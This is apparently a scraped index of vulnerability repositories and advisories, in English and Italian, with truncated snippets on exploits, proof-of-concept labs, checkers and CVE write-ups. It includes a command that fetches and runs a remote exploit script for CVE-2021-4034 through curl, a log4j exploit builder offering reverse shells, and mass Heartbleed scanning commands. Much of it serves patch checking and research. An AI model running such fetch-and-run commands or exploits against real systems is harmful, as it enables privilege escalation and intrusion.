CVE-2026-24061

CVE-2026-24061 python3 exploit.py...

CVE-2021-44132

CVE-2021-44132 Questo script sfrutta una vulnerabilità nell'oggetto OMCISHELL dei router proprietari C-DATA come BESTCOM...

cve-2022-42889-text4shell

Install maven - maven-linux 1. Maven install to create the fat jar mvn clean install 2. Docker build docker build --tag=text4shell . 3. Docker run docker run -p 80:8080 text4shell 4. Test the app http://localhost/text4shell/attack?search= 5. Attack can be performed by passing a string...

-CVE-2019-9053

-CVE-2019-9053 CMS Simple CVE Recode Script Python 3...

cosmicsting-validator

A Cosmicsting POC, with a bash script to check all of our hosted sites to confirm the patch. This repository is provided to allow store owners / hosts to confirm the patch is applied on stores. Within check.bash add domains to the SITES list. https://www.sdj.pw/posts/magento2-cosmic-sting-check/...

heartbleed-test

$ python getwebsiteurls.py "searchstring" websites.txt $ sh heartbleed-test.sh websites.txt | tee -a scanresult.log...

EUVD-2026-93974

Handlebars: JavaScript Injection via Unsafe Inline Embedding of Precompiled Templates...

Handlebars: JavaScript Injection via Unsafe Inline Embedding of Precompiled Templates

Summary Handlebars.precompile generates JavaScript source that is commonly embedded in browser elements. Before the fix, static template text containing was emitted unchanged. HTML parsers recognize even inside a JavaScript string literal, closing the surrounding script element and allowing...

GHSA-XW65-4HP5-5HC7 Handlebars: JavaScript Injection via Unsafe Inline Embedding of Precompiled Templates

Summary Handlebars.precompile generates JavaScript source that is commonly embedded in browser elements. Before the fix, static template text containing was emitted unchanged. HTML parsers recognize even inside a JavaScript string literal, closing the surrounding script element and allowing...

CVE-2021-32157

CVE-2021-32157 Rendere possibile la creazione di un ambiente virtuale webmin vulnerabile come container utilizzando docker Build Se si verifica un errore relativo al download, si prega di commentare la riga 15 del dockerfile ed eseguire la riga 14 del dockerfile. docker build -t VulnWebmin . dock...

CVE-2021-42392-Detect

CVE-2021-42392-Detect Informazioni Lo script rileva server H2 vulnerabili per la lista di IP fornita, può identificare le pagine web della Console H2 e verificare le restrizioni di accesso. Utilizzo Crea un file contenente l'elenco degli IP e denominalo IP.txt, posiziona 'IP.txt' e 'h2-detect.py'...

CVE-2026-107337 Cross-Site Request Forgery in Malcolm

The Malcolm kiosk Flask application exposes a POST /scriptcall/ endpoint with zero authentication and wildcard CORS CORSapp. An attacker can force the operator's browser to execute arbitrary management commands via CSRF, including control.py --wipe which permanently deletes all captured network...

EUVD-2026-95120

The Malcolm kiosk Flask application exposes a POST /scriptcall/ endpoint with zero authentication and wildcard CORS CORSapp. An attacker can force the operator's browser to execute arbitrary management commands via CSRF, including control.py --wipe which permanently deletes all captured network...

CVE-2026-107337

The Malcolm kiosk Flask application is vulnerable to a Cross-Site Request Forgery (CSRF) attack due to an unauthenticated POST /script_call/[removed] endpoint paired with a wildcard CORS(app) configuration. An attacker can trick an operator's browser into executing unauthorized management command...

CVE-2024-49113-Checker

CVE-2024-49113-Checker Script per verificare se il tuo ambiente è potenzialmente vulnerabile a CVE-2024-49113 LDAP Nightmare. Questo script esegue: Verifiche di connettività RPC Test sulla porta LDAP Validazione del servizio Netlogon Verifica del callback LDAP usage : python...

log4j-exploit-builder

log4j-exploit-builder Script per creare un exploit log4j CVE-2021-44228 con supporto per diversi metodi per ottenere una reverse shell NOTA: Il codice è stato scritto di fretta e verrà migliorato in futuro...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 in Script Bash Utilizzo: source curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh...

CVE-2026-33331

CVE-2026-33331 — XSS persistente nel plugin OpenAPI Reference di oRPC Laboratorio proof-of-concept per XSS persistente nella generazione della documentazione OpenAPI di orpc Scopo oRPC genera pagine di documentazione API a partire da una specifica OpenAPI. Prima della versione v1.13.9 inseriva la...

CVE-2026-10289-XSS

Sistema di Prenotazione Hotel e Turismo - Cross-Site Scripting XSS Memorizzato Dettagli della Vulnerabilità Campo| Dettagli ---|--- Titolo| Sistema di Prenotazione Hotel e Turismo - Cross-Site Scripting XSS Memorizzato ID CVE| In attesa di assegnazione Venditore| code-projects.org URL del...

CVE-2026-21440-POC-EXP

Informazioni complete sulla vulnerabilità CVE-2026-21440 📁 Brevi passaggi per utilizzare lo script PoC CVE-2026-21440 1. Installazione delle dipendenze python -m pip install --upgrade pip 2. Esecuzione del test python CVE-2026-21440-code.py -h 3. 6 percorsi sensibili preimpostati integrati -s per...